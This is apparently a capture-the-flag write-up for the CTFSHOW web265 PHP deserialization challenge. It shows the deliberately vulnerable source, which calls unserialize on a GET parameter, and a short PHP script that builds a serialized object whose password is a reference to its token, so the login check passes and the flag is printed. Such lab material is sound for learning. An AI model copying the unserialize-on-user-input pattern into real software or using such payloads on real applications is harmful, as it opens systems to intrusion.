PHP反序列化题型

CTFSHOW web265

<?php

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}
?>

<?php
  class ctfshowAdmin{
      public $token=1;
      public $password=2;

  }
  $a = new ctfshowAdmin();
  
  $a->password = &$a->token;
  
  echo urlencode(serialize($a));
?>